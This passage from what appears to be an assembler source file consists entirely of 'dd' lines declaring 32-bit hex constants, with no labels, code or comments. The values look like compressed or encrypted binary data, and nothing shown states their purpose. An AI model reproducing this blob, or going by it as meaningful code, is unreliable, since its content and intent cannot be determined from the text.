0FA73BCD5h, 0C3AE6500h, 24905BCEh, 0BE1B3ED5h dd 10BBED80h, 1AB7017Fh, 0E40258E8h, 35D045D8h, 8B264087h dd 5F4D0ED1h, 22602988h, 0B0AB6877h, 830182E8h, 52A1E20Ch dd 9CDC9D6Eh, 0B150F6Bh, 3B40724Bh, 9F8920D2h, 76979800h dd 139B014Eh, 15D60067h, 178FCC6Fh, 7800CB7Ah, 835C7E0Dh dd 0F4FAB4D3h, 0CC745115h, 0B832B700h, 3D4600CFh, 244DD5C2h dd 6900A2A9h, 5A9EA523h, 31FAC16h, 0E6BDBE77h, 0F2A0BC1Dh dd 0A705A819h, 0ACAE2BF4h, 62CFAB87h, 40F9EEFAh, 3B59058h dd 46DBBE2h, 34D831B7h, 0B4717C64h, 0D0BAA300h, 5183AE58h dd 935700DAh, 12A47AD2h, 590E986Bh, 49724044h, 60180E09h dd 69D54B17h, 0EDEB007Ah, 72067FEFh, 0F70042E0h, 6C04A236h dd 13AA1FC2h, 498D02E9h, 982030A4h, 568C1C73h, 8AD7FD1Fh dd 8B643A00h, 50D6AB95h, 619F817h, 0E29A204Eh, 0B4041018h dd 1F6253DFh, 0E47B8480h, 68EE00A7h, 5C87A148h, 0D53B934Dh dd 6F31E0ECh, 636021h, 9C1EBBFAh, 0A410DB4Dh, 0B19B5506h dd 0FED8D036h, 0FB6200AEh, 0F1C06C53h, 2C004567h, 4DAA96A1h dd 49D630h, 99CB84D5h, 0F5E12F97h, 5AD9A600h, 0C6E110Dh dd 51763947h, 0E2DAB180h, 5591DF65h, 0E7AF6700h, 1CF4054Dh dd 0C9A11F12h, 3C0CC051h, 919A5D84h, 49BA100Ah, 2C008C7Ch dd 0A0F8375Eh, 0F23E009Ch, 0FECB998Ah, 0CA677B83h, 0FB806208h dd 0B37C20h, 0B6234E91h, 0BE2B33F7h, 2541FD00h, 343EE6C0h dd 0EE38E6B0h, 6E9E0078h, 81AEA9CFh, 8D5CE073h, 3C3B7E91h dd 7E4600D2h, 131DC46Dh, 96C824D8h, 0A9EB00D4h, 54CDB37h dd 9324AB00h, 8F074FE7h, 0C6690011h, 2F354EC9h, 6C5CF736h dd 8DB705AEh, 0A800168Ah, 0AEB3996h, 887F002Ah, 0BD4E4350h dd 4B7A69E3h, 160F9300h, 0D33F8587h, 2F6B1E5Bh, 0C6B10051h dd 8CFE5765h, 1E6CAD00h, 1361B018h, 0A217008Eh, 0F2F56F98h dd 6A0001DEh, 71F83D27h, 7DD25CE7h, 0FCD400DDh, 58ECE666h dd 0D500F480h, 0DB211C61h, 0ED26BA7h, 39283096h, 6E9A10C0h dd 9D24BA3Ah, 41EB872h, 7908B40h, 77F4FEh, 82FC050Dh, 7EE8A116h dd 0EF92E203h, 0F8AF9771h, 74552A75h, 51262C74h, 63300046h dd 6A356469h, 32AA7704h, 0B880ECB6h, 269A0CC8h, 7A30D5h dd 0E52C96F2h, 0BD00466Bh, 51DD8136h, 5D1819h, 0F331E17Fh dd 0E080CC68h, 8BF26673h, 0D54F9D05h, 0D80006CFh, 0A31E05B1h dd 0E6CB0446h, 0C0685470h, 0E2C84E88h, 7F002FF4h, 7D9195B8h dd 0E35AFh, 3099BA63h, 698D0579h, 8CA84301h, 5E5065D5h dd 18ECA421h, 312A007Fh, 9F55FC68h, 0B900CF58h, 6619F4F0h dd 98E5C3Ch, 4AABA127h, 4067800Eh, 0B556906Eh, 0D33CCC06h dd 0CE0FF6C1h, 20D13B46h, 2870FF9Bh, 0BADE12F4h, 0BC700079h dd 0AF08A712h, 21FB5E4h, 7A40A19h, 709EC18h, 2F0C00BBh dd 0DE2123EBh, 0C6F426D3h, 0D2EDB0Ah, 7603A4C4h, 20A0CDh dd 9F064CF2h, 3E193F6Eh, 0E46F8100h, 0ECB36449h, 8A041689h dd 616020E7h, 700007A9h, 4C574E3Ah, 1FC1A1D8h, 808CC874h dd 99B7C3AAh, 0DB011D24h, 33A7064Eh, 0B7FFA47Bh, 4C6E47A0h dd 0C56700C0h, 97B16075h, 265837A1h, 320300D1h, 58A33987h dd 0FDA200BEh, 0D00A9C3Ch, 4D00A638h, 53B110ABh, 324CDh dd 98852605h, 0F67FA913h, 453AED76h, 57F2836Fh, 0E12BAA7Ch dd 0C160DC8Ch, 9CB34C31h, 925528h, 15D24684h, 16D1510Ah dd 0B14C0D18h, 0E3CE09h, 8BB0C708h, 92F97776h, 3E737E58h dd 0FF7A009Bh, 0EA651594h, 7BC70086h, 0A4564D3Ah, 57758983h dd 63EEFE00h, 9022C3CCh, 0F6B90051h, 342B3C32h, 433BA0E0h dd 0A4B5804Ch, 19EED80Ch, 9898F2CDh, 5C3B0048h, 97C79225h dd 0F079F316h, 850D70F5h, 8B000F70h, 37DEF687h, 9BBAE1h dd 3A77F541h, 8031E353h, 0C3C85E00h, 0C9CD3A1h, 986C3AEFh dd 3883BD83h, 0AAC02013h, 300072E7h, 1F5B9602h, 74A0E2B0h dd 0C1DC000Bh, 0E076D46Bh, 90000564h, 1044AEE3h, 92C9F7h dd 475D9F86h, 0D22A6E4Bh, 72F1BE00h, 84992E9Bh, 327609B9h dd 2BF81D51h, 19F812E4h, 60E8CA00h, 0D7C969D8h, 0F29C0026h dd 5BDFF17Bh, 0F006E7Dh, 4AEE9905h, 0B88510h, 0EFD0370Dh dd 68F938A8h, 0F8012C98h, 0C3C9C7BEh, 0ABCFD1BAh, 0C6CEF8B1h dd 0C13F125Dh, 0C09800DAh, 0B94A6B53h, 0FC11EA3Bh, 0BB00E8B2h dd 0A8BA17F0h, 7CB81EF9h, 0EDFA26FEh, 0B994022Ch, 0A4C0BBD6h dd 0A300E966h, 359A274Eh, 0EC383F1h, 2D370942h, 0AF4C120h dd 0BE0066C4h, 5D15CE79h, 1E0E184h, 51C0B8A5h, 30119FA9h dd 0BF003C38h, 0FC8F361Dh, 434D1Eh, 0E12308B4h, 81C3BD53h dd 0F5C80100h, 985F6897h, 589201EEh, 457DED4Ah, 84F080A1h dd 3C231A77h, 3B880063h, 9B9AA536h, 0D91DFBA0h, 49C0503Eh dd 0A4E6E87Dh, 0DDEB0024h, 0DA8FF474h, 2E01CE82h, 36E4A725h dd 93C45B65h, 31C20F3Eh, 0FC80EC94h, 0AA753343h, 0A4F64E1Fh dd 2071CE41h, 0E060B561h, 81B31C52h, 0F8704F78h, 3B933E0h dd 0BB00F5ACh, 0D07C0B14h, 810FEAh, 9968C6D5h, 62645150h dd 94822914h, 1F9C00FCh, 0B58431CDh, 8DE402E5h, 6C0FA07Dh dd 7215CB40h, 1C8B850Eh, 20AFE779h, 2B9890F0h, 0BD0F0388h dd 0DB587493h, 0DF5C0805h, 0D1167A97h, 0F06D5107h, 9FC0C1C5h dd 2EEE9419h, 7B68D56h, 929E70E7h, 0D8A05995h, 6A9DFBCEh dd 83994C3Ch, 69AE5690h, 0FF829886h, 0E21100D1h, 0B35AE0D2h dd 5100FEA9h, 742C4B78h, 0E2DA1339h, 6C60123Eh, 7D9305AEh dd 0C080AECDh, 908F6188h, 0EC890725h, 52076Ch, 4EA09E33h dd 0BAE4A800h, 8B3215A5h, 8E2B0h, 6CBE049Fh, 71B834DDh dd 0BD3A5600h, 0FDA94BE5h, 0CBBA0044h, 401EDEEAh, 891DE894h dd 0D8509BEh, 0F4C7281Ch, 44372117h, 0F4B05407h, 39135AD6h dd 0A54CDCFAh, 0AFED7C07h, 5082C053h, 0C7006145h, 0AFE8DFBh dd 92A07A74h, 17A60A50h, 0BB8965h, 2CBA958Bh, 0BB00967Ch dd 0B10697A1h, 0F111C6FCh, 0F15CBC0h, 17CD02C1h, 80D20745h dd 0C0F1FFEFh, 137D0C0h, 2458C8Eh, 0CBD39B2Ah, 0BD60631Fh dd 150095D7h, 0EF1B2F76h, 0A1337136h, 74E485A8h, 0C83000D8h dd 0DE3C0E47h, 0A300CC7Ch, 0D4A6E1FAh, 3E7EF5E7h, 349DD1DBh dd 0B370C093h, 0FA90AFF4h, 0F6262EB8h, 0BE0F1DCCh, 0EE12C142h dd 0CCC9371h, 0A1FF0CD2h, 9C10725Eh, 78BA6200h, 7B6321CDh dd 1B60FF0h, 3A433017h, 0D888D42Ah, 6B2223CEh, 49350044h dd 0F539E150h, 0E9E8E022h, 26B24502h, 80E53029h, 0EDA314A8h dd 3CD90097h, 427B3288h, 4BF4B735h, 0FC287900h, 97EAEE87h dd 4FA10057h, 94DF591h, 0B6B0A55Dh, 9D7B8480h, 0A301B90Ch dd 60109Eh, 546DE42Fh, 947892F0h, 9CCE2924h, 0AB382104h dd 0D15F6890h, 0CB771F22h, 0FE6C84E7h, 9291C382h, 0D40F64B1h dd 487EC989h, 16DA2E00h, 0BC3D7E80h, 9A780E83h, 3480760Bh dd 72D7EAB7h, 8B5EC200h, 2630A79Fh, 0A8600947h, 6C806B4Eh dd 276A79CBh, 600D6E6h, 0AE9B2C53h, 79C07DF0h, 1D5F003Fh dd 21FCE28Eh dd 34CE793h, 13832C14h, 7829B500h, 774EBDEh, 79F2E4D1h dd 829A306Fh, 1F2651AFh, 7D0074F4h, 70F6FBD0h, 0E5FC0006h dd 297B3066h, 0CA0FAC5Eh, 80CF0888h, 9DA8170Fh, 3BD805BEh dd 715516h, 95582BB2h, 310360B2h, 9B0835EBh, 9F8F88Ah dd 8CC70089h, 3210B7F1h, 7E0C51B5h, 1888E121h, 0D3EA1Ah dd 717BF4E6h, 0F19A885h, 0B7282202h, 0E1CCBFACh, 0ABC4436Eh dd 5C390031h, 0FACDD47Ch, 0D09262F6h, 0CCB3BC04h, 0F6C322BDh dd 6B5EF0AAh, 645000F4h, 0E6F0FB70h, 0A01DA959h, 7870BF42h dd 15C033Ch, 0B3FA991Ah, 0C3DE9096h, 33053EF8h, 80D0D53Fh dd 286182B2h, 0CF7B85h, 0B759116h, 240AE96Dh, 0A5C2DD1Ch dd 475B01BFh, 0E6031C63h, 0B7BBC8h, 403A9F82h, 0CDC82997h dd 0FDAAE400h, 0EC811019h, 0EAE800F2h, 563C04FCh, 3E06832Ah dd 4FA75DC1h, 0F3440090h, 0F7539A37h, 0B306DA3Fh, 100759A8h dd 0AE6401B0h, 0F2BD755Ch, 87473042h, 8C28A900h, 348A67B9h dd 9E09015Dh, 0CF8DDF95h, 0C447F532h, 3900769Bh, 2086814Ch dd 0D0B662h, 0DAB868F5h, 7C5A0A98h, 4EE4730Eh, 67D440DEh dd 0FF44971h, 0EBD1B0BAh, 0FB043581h, 9F4BF484h, 20385814h dd 1AF600A4h, 0B5F7DD8Ch, 9C921227h, 77D3045Ah, 632580DBh dd 1A0C5337h, 68099873h, 561B003Bh, 0F30DFC59h, 0ED039CC7h dd 0F4A8FEB3h, 26701D57h, 0CC03DF6Eh, 9FC05078h, 663B9700h dd 919BE088h, 34850058h, 0A5FDD356h, 6BE43EEBh, 454FEF0Eh dd 0A98E6023h, 0FB9054h, 177B2705h, 223DCEF1h, 0B8C2600h dd 0E9DBC86Ch, 7C680072h, 0B8091388h, 3F0020E4h, 0F9CC31EDh dd 1D546C9Bh, 1D8D96CAh, 0F083FC46h, 2FD0F2C4h, 0C60FE92h dd 2E01BCF4h, 0D8589A7Ch, 0FDF88438h, 53360025h, 0B7972947h dd 0A501C50Ch, 6270A98Ch, 6AD10121h, 51F360h, 0F0EA9D2Ah dd 9E3DBE83h, 0D7997700h, 62E289F7h, 377F262Ch, 0E6748240h dd 24405236h, 0AD1EEFCFh, 7393F42Dh, 0B27FC07h, 0F3E0EE20h dd 74770FFEh, 0E160C344h, 4067CB69h, 4C649C26h, 84F6E902h dd 0CC50C01Ah, 880401E3h, 0AA480A24h, 4BADECFBh, 7F70AC00h dd 2A7C31BEh, 85CC1E6Bh, 3A0C80C5h, 0D9E4534Dh, 9750FA04h dd 9CC06610h, 13A48B69h, 7C62ECh, 14F8D75Ch, 6A00545Bh dd 3A10D186h, 3C496FBh, 0F333BBBAh, 4C98D2B6h, 4A001CEFh dd 0A6E00345h, 0EEE59BF1h, 0BF162673h, 800D1D93h, 12F50C2Ch dd 6100CAD8h, 8013DB6Eh, 0FF5BFAh, 0CB653D20h, 0B1C57D28h dd 0ED166EFAh, 88403816h, 5B2D910Eh, 0C0CFEAFDh, 0A7B4EE68h dd 5007C7BAh, 832E699h, 0FA391D50h, 0B81150B0h, 9563019Fh dd 9B59AA60h, 0A058F066h, 7AB56B18h, 0A15F09h, 97B2A6Ch dd 14A37D59h, 0AB856300h, 0AD876D1Ch, 8C72001Eh, 83AA0EB2h dd 0EB000D46h, 3A07177Dh, 7C36C9F8h, 0B07E7CF1h, 564F02C0h dd 0B89BB4D5h, 0A301DCC6h, 0A06C4345h, 60F2B9FAh, 4CC98Ch dd 0F32C1048h, 4B3424Bh, 5EDA1F00h, 39E3F916h, 1BAD16D4h dd 41140046h, 2A1721C0h, 6F96360Ch, 380B1952h, 7702A75Fh dd 9B79D4D9h, 602AC860h, 3BB5A001h, 2890D0B4h, 0EC278850h dd 32E8001Eh, 38EE24E2h, 0F30D29E1h, 828033Dh, 1FF42AF8h dd 809102B2h, 0EB9C2B05h, 0A400330Dh, 0A6350FF5h, 0A3A14FAh dd 0BE0C3296h, 8F9F8588h, 82848CC2h, 0B4B266E2h, 0CDFC2212h dd 0E8F04C0h, 0B6A31D4Bh, 624000BEh, 856BC37Bh, 0E3E93890h dd 0A0686C8h, 88A3BE00h, 5FFE0945h, 0ACE700EEh, 52B6369Fh dd 8D004B9Ch, 9351A258h, 0F041F7h, 50927824h, 0A08C96D0h dd 2F39A600h, 0CCD74842h, 25A8077Bh, 801BEE11h, 30652474h dd 0CD162007h, 0AFA02EBEh, 0C7DEFh, 0EAC9724Ch, 0E326CE08h dd 14A95524h, 7F5E0583h, 0D2BFD19Bh, 0DB2CB840h, 3C1901Fh dd 1BFBAD75h, 56075ADAh, 3F12D6AAh, 86A92C00h, 0BA695836h dd 0DD03963Fh, 0E35A4D39h, 0EB3030C7h, 1B1C0F18h, 9007D4Eh dd 0BDB08F9Ah, 2FD40783h, 0B3ABB830h, 980E71BEh, 0A0664C05h dd 3D1BDEDFh, 2F4A0191h, 36519815h, 0D25EC81Ah, 0BE762100h dd 0E0E984F7h, 0D6820160h, 0F4D9F71h, 837EFC5Ah, 0C0022809h dd 9D240351h, 75C7981Ch, 7AD0C1B7h, 0EC292F4Bh, 3B02DDF6h dd 8FA1795Dh, 42B4E064h, 0DEE20E9Fh, 8920656Eh, 9EC40B0Ch dd 8817F604h, 4CC06733h, 7BD9BEC9h, 4F4B82Ch, 340F10A6h dd 0AB2090A5h, 43001DF9h, 47221FB4h, 392B08B8h, 93803550h dd 954B803Ch, 0AAB0843Eh, 598E440Ah, 5E1CF8A3h, 838A898Eh dd 98BE04CBh, 0D58C2194h, 0D16234D1h, 0D0489256h, 9008077h dd 78A4E866h, 1C9047A5h, 4EFAA398h, 70FEDBFh, 0DFD8C500h dd 2A005E61h, 21660DA9h, 4BD7A4h, 0E4EF825Fh, 7C961F05h dd 790911F8h, 80CF3DBCh, 571849ECh, 2300010h, 0DB376AE9h dd 0BD1C66A1h, 0C4C76511h, 0FF906CC5h, 4C416119h, 9E0BB82Ch dd 8D0FB8B1h, 23BF8C00h, 3EB07CBAh, 8AE2F500h, 0DF5C494Fh dd 0D78201A3h, 665A768Fh, 1704FC36h, 0C60ABA0Fh, 0B2EDE5B1h dd 4F95E8C0h, 0AFE4027Fh, 0DE2464C1h, 48E870C8h, 8F693D00h dd 43B6231Ah, 27F50E76h, 0A629424Ch, 0DB83D420h, 322CEB96h dd 5F8E0870h, 219A2C56h, 0A2E71E8Fh, 0BD23C098h, 889FC0A8h dd 7795DD0Fh, 0C6E86E57h, 98B07EFEh, 5BC380A8h, 7A9300DBh dd 0A9E5775Eh, 0FC9403E1h, 0CEEF3600h, 0A05D3B9h, 0F8C56DD8h dd 0F06701B4h, 3840C01Dh, 80BA0734h, 7A166972h, 70170089h dd 68BF8DFDh, 3EF65811h, 83C2E900h, 93ABF06Eh, 6A510E2Fh dd 67E51D9Dh, 0C8844CCh, 48D045C4h, 347AC1Eh, 8693C274h dd 79710283h, 7AFA1731h, 11BCD081h, 2439FDADh, 0A108222Ch dd 9EE0DC02h, 4C23C072h, 18FEA9D9h, 915EA605h, 0F8902C70h dd 7319FDh, 0CD692879h, 0D2413925h, 24E8C73Ch, 1C432C9Bh dd 3F81B6BFh, 603877B1h, 0CF193B0h, 1888F265h, 0D88C6159h dd 0A48B96B1h, 3740BCD1h, 77FB8279h, 0DD410089h, 0E217D627h dd 8B77C79Bh, 0F9BF0100h, 1B9C7DEAh, 6D58307Fh, 2EAF8311h dd 4476C817h, 0EB7FD05h, 4FA2D442h, 99084854h, 2A897747h dd 0F888F2Dh, 0F0E49423h, 9C42DFA0h, 9F00D9BCh, 0A5761492h dd 0D5C8D2h, 0CD4AA9EDh, 0D88DDE6h, 42F0A203h, 0E3A8B5EFh dd 8C80BDBEh, 5E0E42Ch, 44F227A7h, 0D1A04DB9h, 7EA038F2h dd 0CA121100h, 0D05F6910h, 0FF41241Dh, 200C0038h, 2A16BA29h dd 0B9C43300h, 8E7021AFh, 2DCC004Ch, 13C363E7h, 6E17EE30h dd 445E0826h, 0C442271Ch, 41C8103Ch, 0ACD4BB42h, 5440485h dd 0C31983E6h, 32A031ACh, 0B07CCDEBh, 87A4BE17h, 61B61C00h dd 39147ABh, 3CE4803Ah, 0F59815F8h, 1800D5D4h, 0EC4FFC5h dd 7DC8867h, 0EAFB7823h, 53FD60E0h, 0D300F10Bh, 0D4A47C28h dd 0E22B0Ch, 31E71C02h, 0ABD922E0h, 939E8400h, 9DAD3475h dd 61F8A09Bh, 0AE2B005Dh, 0B4314D67h, 34054C6Dh, 3C6C70B7h dd 4759B8C0h, 7EF73DCAh, 0A44832F8h, 3CE85008h, 0D6E6B65Ah dd 0F0BD6030h, 713A4D58h, 0EC2A49D4h, 0A78AA500h, 472B4560h dd 38A19C00h, 12EDD17Dh, 0B7970242h, 0DAD761C1h, 18044048h dd 0A5B3200Ah, 7307D832h, 0DA026423h, 759449E7h, 9E8E520h dd 0F506E0DEh, 79206C00h, 0D0178834h, 1902Ah, 0A5ED9977h dd 168D74E8h, 0EA3BF1h, 33EF4020h, 0FB7A4F96h, 0D8BBD61Fh dd 0C4D900FEh, 0D50AF8D1h dd 638900EEh, 87F90D2Dh, 0C713FD7Eh, 4440BD8Ch, 27C8354Bh dd 997B072Dh, 70AC9F8Bh, 4177F724h, 7C3B8C01h, 52F0B9E0h dd 0DBD2B080h, 404AC86Bh, 1C1608EAh, 50D0B03Fh, 0E76846h dd 0D187547h, 37FAA43Dh, 3E2AFD01h, 0DE0A6044h, 9D9160h dd 3640B7ADh, 0F99CD657h, 6845EF32h, 7DB56007h, 1BD40A55h dd 7C0C692h, 711EF9E6h, 7091A5EAh, 0F6008080h, 9EC011Dh dd 85B4CFh, 2A5866C6h, 92D0BE37h, 8E7D7714h, 0F91207C4h dd 0F4D01E41h, 107BF6Ah, 0DB5A32A1h, 0D07BFAD9h, 4009489Fh dd 203889B0h, 36ADA1E0h, 424D062Ch, 8195409h, 0BDBCCE0Ah dd 6B84D426h, 0C4A150C3h, 8D9434h, 0BC8F2EAEh, 0A4A06449h dd 539B9A13h, 8C0E5856h, 2E6BE8h, 459E4B64h, 46D90077h dd 0F3C0A693h, 180FC133h, 2F5C1473h, 72BC21FDh, 1C60FE39h dd 5A9C0782h, 0C92F3ADAh, 10EFE0B1h, 378E839h, 0DE4C697Fh dd 2AC03CF1h, 49094E8Ah, 85A0DC3Dh, 9606CADCh, 70997F67h dd 3E2202A8h, 6399F805h, 5791B868h, 0A27B8438h, 0CB40073h dd 0D0A3B3C8h, 780308E3h, 0F7AAF86Ah, 3AEAD809h, 9B1C075Eh dd 0D7795762h, 20FF3093h, 0BA7524F4h, 53749A0Ah, 800B06Ch dd 8EACE887h, 4AC84E7Ah, 60548C38h, 0F6AE94AFh, 0B49865EEh dd 42573504h, 608067A3h, 5388C7Ch, 46334079h, 25E0604Ch dd 98026BA4h, 3744B3ABh, 84E7C4h, 217F737Ch, 50E4DABh dd 871A5EDEh, 91A0747Eh, 9A32B47Bh, 0CC4150B8h, 8C151E87h dd 0A391B0D4h, 6D0319C4h, 0B11D6495h, 0B986B00Fh, 0A87CB14Bh dd 0C240510h, 0C1579325h, 644E597Ch, 4D752B1Ch, 80C1272Ah dd 24C0EB59h, 287034A3h, 0F2A60F0Eh, 55C190D4h, 8106129Dh dd 0A2896748h, 0E8DC033Eh, 0B0FA6Fh, 0E92F4AB9h, 9E7192B4h dd 1550F00Ah, 0E808B88Fh, 0EBF503FCh, 690003EDh, 24397E25h dd 0E5022Fh, 806C76EFh, 32111B88h, 0A578B10Eh, 4E447853h dd 8B7EF4h, 8C336C50h, 5BE39B47h, 572558h, 67D7CFBCh, 120BB6C0h dd 5B85C53h, 0D43F1DE4h, 1644E04Ch, 6807C600h, 0CE5D46C4h dd 0B99C16AFh, 0DC98C280h, 5A0E44D2h, 1E26C546h, 10008753h dd 0DCBA6CFAh, 548D0597h, 8017EC49h, 0E471EE09h, 6456B400h dd 0A4985BEDh, 12049A03h, 41C5F7D6h, 0A0170B00h, 6494CDFCh dd 25266CE8h, 0E1472805h, 0B9A89740h, 0E31E00BDh, 0AACB4248h dd 0B1001595h, 0F846CE8Ah, 1AE2F89h, 0F026774Ah, 0F039033Dh dd 0BA0EA7B5h, 60B155C4h, 988456CEh, 2330019Fh, 1CB0C2E1h dd 606BC1CBh, 7A16B360h, 0B041916Fh, 87F60ABBh, 2B8FDCh dd 2D622176h, 86C2378h, 46FC5301h, 0F13D0199h, 6FCBDCh dd 0A3A6ED89h, 0AB072D91h, 8A009E70h, 5337E473h, 5CF19011h dd 0EE00CCBFh, 0A90DB8D3h, 891E78D6h, 73809944h, 2DB51339h dd 0A67D00F0h, 0F5E28625h, 0D61F8D03h, 3B9E87D1h, 9063A284h dd 0BFE482C0h, 1F80F683h, 80BB79CAh, 8BC078D0h, 9C09AD5h dd 4A8CC17Fh, 7929009Bh, 8334C29Dh, 3C00CAA5h, 3ECCA78Dh dd 7AD1AC92h, 25A3172Eh, 37B800D5h, 17685A27h, 800BEE6h dd 0A85DFAB7h, 29E52h, 0A23FFB4Dh, 0E6CC5788h, 503E9AE4h dd 6BE7801Ch, 9129C7E1h, 5E072578h, 0BF703420h, 8A489EE3h dd 0A4C8386Ch, 9807820h, 0D7C7562h, 0A3240203h, 68DC193Fh dd 9488EC83h, 0FCDF61E9h, 5D034948h, 7EE7F564h, 5AACD8FEh dd 0B3693B9Eh, 3507A302h, 1CD06B48h, 0F17074B2h, 0D6E0881Fh dd 73B89640h, 178710C8h, 80DEE278h, 9D2A500Ch, 0F1442Dh dd 0CFA0490h, 0F9A10430h, 0A0D19E1Ah, 0FE2E246Ch, 14801832h dd 8502A61Dh, 43150706h, 707A6256h, 0ADDA693Fh, 0DD48F977h dd 8D460472h, 0C8802B12h, 4AFDA987h, 49A48798h, 29639400h dd 35002F1Ch, 67AC1EC2h, 0A41AFBCh, 0FFD4FC62h, 0C016A0h dd 57997F3Ch, 0F20037D7h, 4C10DE56h, 0E0D4E42h, 0E2156DE0h dd 0D9250ACEh, 0B6AC00E9h, 0BF8C9C0Eh, 7760109Ch, 4A7ECE2h dd 48AC0FD4h, 39A4873Dh, 9D1EC820h, 0A53E2864h, 79AE00F9h dd 0DD4F5D96h, 12BC9A19h, 4B8552h, 8A6EBA07h, 297835D2h dd 51441802h, 48155795h, 96D789F4h, 0AEEE9A9Ch, 0AAE56860h dd 4BE46F5Ch, 84380C43h, 0D6F8002Ch, 745A0694h, 48001596h dd 0DA85141Dh, 9832B2F4h, 0C1E24ADCh, 39CDFE30h, 7CA20C44h dd 2585C140h, 78813704h, 1A517F7h, 0A7FCE626h, 9A28EA23h dd 2F110034h, 933FCE1Ch, 0ED166DAFh, 8537B34h, 3CA09701h dd 0DFE83287h, 0DD3600C4h, 67416D43h, 0AE02212Eh, 2F9FE08Ch dd 0D788E333h, 80B2B752h, 0E9C870BCh, 978FE04h, 83F0F344h dd 0C30085h, 0FC3AEE9Ch, 0A103CC3Ch, 0C0758993h, 875A6h dd 35CB50A2h, 0E8FB44DCh, 0B168DB0Ah, 0E394A81Ch, 0F46B0FE4h dd 0FF3C81E6h, 0CBC5232Ch, 105C0C74h, 155B6FB4h, 7B88F72h dd 1C26336Dh, 9529C716h, 922148ACh, 3DB05809h, 44E06E8Ch dd 97004D9Ch, 46EE8A40h, 0E62EED02h, 8F4809F3h, 6C00B307h dd 7FC67250h, 9C09647Bh, 60B01238h, 3229DCh, 0D0D9B8C3h dd 3E077B95h, 8024E000h, 66E48827h, 29FC043Dh, 80BD3CCCh dd 7984BE88h, 0BCE61C18h, 14A110h, 0CE9486A5h, 0FDD4985Ah dd 6B9E0A3h, 8E2462F8h, 9E4900F2h, 1DF6CD25h, 72AB3276h dd 0A092DD31h, 4C09B0F0h, 80640FE4h, 0E0E16723h, 0C9C200AFh dd 93144448h, 71004FF7h, 4C607EC5h, 1D6A87CFh, 0C0FEAA56h dd 50FFA033h, 6E0E20AFh, 7E684B90h, 61A85380h, 0B412840h dd 18F5B6DDh, 0F29E2400h, 0D5007439h, 2604DACFh, 0A97C3Fh dd 62B3357h, 0FB217ACDh, 0E652CC00h, 0D40D8E83h, 1B150101h dd 0DCC2A1ACh, 0AF6DCC77h, 9DA77A03h, 8011529Eh, 32FD7C4h dd 0CD2307DEh, 0C0AC7466h, 949F1660h, 557CE0E7h, 58C044F6h dd 5D2F69E9h, 0A1F900FFh, 255FFAA8h, 72076653h, 0DBBEEBEFh dd 46F060CFh, 0E10CBAE1h, 14E4860h, 309B15CDh, 0C0DFD4D9h dd 78C1E51Ah, 9AC1D720h, 0A67FB60h, 94999F26h, 616500B8h dd 5973BA37h, 79C03D00h, 7CC34058h, 5D09C078h, 7AF3C643h dd 0A11C1094h, 0A84CBBC7h, 0AA4EC530h, 0E0CA58BDh, 0B04AF1Fh dd 60800361h, 0C094A916h, 0D15FA501h, 20E34125h, 1DDD6824h dd 1E9BEDA2h, 9C8F00A3h, 0B9753332h, 0DB2CE000h, 0C4536488h dd 586600C2h, 0F903786Ch, 0A212190Bh, 88C0AA97h, 9EBE3F13h dd 45ED0028h, 5B107467h, 0AC480503h, 9860B304h, 0BFF4F93h dd 0B23D6E7Bh, 95DD09C0h, 1AEF7600h, 7A63C9EDh, 21E60Ah dd 2F5E01A0h, 92509F3Ch, 4C467C24h, 6800AE90h, 29E73BF1h dd 8004289h, 4D8F731Fh, 7C194CDh, 1D45C4B7h, 5DCBD3B2h dd 0F0E40687h, 0ABFFA00h, 8A5CFCB9h, 0CDD81E2Dh, 7D2ACBA0h dd 0DDB6F200h, 0F00F70E1h, 0E09BD68Bh, 46C6242Eh, 3CB809h dd 57D0C04Dh, 0F83A1DC9h, 0E0D87801h, 26AF3F8Fh, 0E52CD8h dd 3EAAA9C6h, 0EBBE09B6h, 4BFF4309h, 7D4CA42Eh, 0E916F0F2h dd 32DC0067h, 0E6015B1h, 195413Bh, 648AEF6Fh, 28212563h dd 9B3E6880h, 3A45BAADh, 0F6A23100h, 0C5ACCC10h, 600C0015h dd 0FDDFF919h, 5700B5C2h, 0F8A23D31h, 3B8E619Bh, 2382B43Ch dd 0CF7713D2h, 2F26C057h, 0A16F1DEBh, 0F0A31E0Dh, 0A44BE83Ch dd 621AC504h, 0F4827BECh, 0D1D8E04Dh, 53A500BBh, 0D65EEB95h dd 0A9004B71h, 19C7479Ch, 0B6FD99h, 173DA193h, 0C94AA4D2h dd 56BA3A00h dd 5D924EA0h, 975500A7h, 34A2534Fh, 21F2E9D3h, 801949h dd 3AB6E1E5h, 1BCD9F3h, 0BFD8F940h, 81F8FC43h, 46C2DD09h dd 0C68FA73h, 3B342000h, 453C28CCh, 3E03CE7Bh, 3031D54Ah dd 84E1E384h, 28968080h, 88608814h, 0A100EC9Ah, 99E2E186h dd 0BB62A4h, 0ED98DA82h, 0A702A2A5h, 0D4244000h, 0EA2ED6CBh dd 0CDA91E5Ch, 3C9D40F2h, 21408733h, 2C140800h, 95C68F1Ah dd 5B5A0F9Fh, 0CA63E938h, 11C8E189h, 921F7F5Fh, 0AD803375h dd 0B8E3912Dh, 0CCB0D3h, 70139C79h, 76199083h, 408F8927h dd 0EF2CB3F8h, 2FA4FCh, 9FC1138Ch, 0A7EF6C80h, 0F3708800h dd 0F5718EABh, 789300ADh, 6FCD9FFCh, 4B0E790h, 65A16A00h dd 6D94249h, 994003A9h, 70AAFAA3h, 1ECD5CE0h, 66F43900h dd 2CE5D3B3h, 0AD5A0F8Ah, 68CC7B17h, 0EC07C9A1h, 0E0D2BF62h dd 6FA8C0ABh, 7704E6CCh, 80EB4E7Ch, 0EF116248h, 3FBBD00Ah dd 0DE40DCF8h, 17FE45C1h, 964CC8E3h, 0BA08A104h, 8148B5F1h dd 0FBB1261Ah, 5F4024A6h, 0AEFCB41Eh, 0C31C98ACh, 99BA02C0h dd 309F786h, 0DE7CCC33h, 0E9EAEED3h, 57A90C63h, 41EDEC56h dd 0F3825D01h, 0FC8B6640h, 0E18F69CCh, 98BB60h, 84DA737Dh dd 86DD93C8h, 0E197CC00h, 0EBA0D68Ch, 0A5DB3999h, 15D2D100h dd 13BE048Fh, 0A969DD04h, 0F08019FDh, 0B21FA1C8h, 0BC3D07A4h dd 203F5B75h, 34281522h, 0ADB4BF00h, 869BBB02h, 6A4704F8h dd 0A08F5226h, 20393AC0h, 859F0E01h, 314C4069h, 7CEA9A04h dd 0C77300DCh, 49F6A1E3h, 0C4039C88h, 0BABC7CBFh, 64AEB0C6h dd 5298033Fh, 0B5CA053h, 19C0BBD0h, 0DFF09C02h, 60B47E81h dd 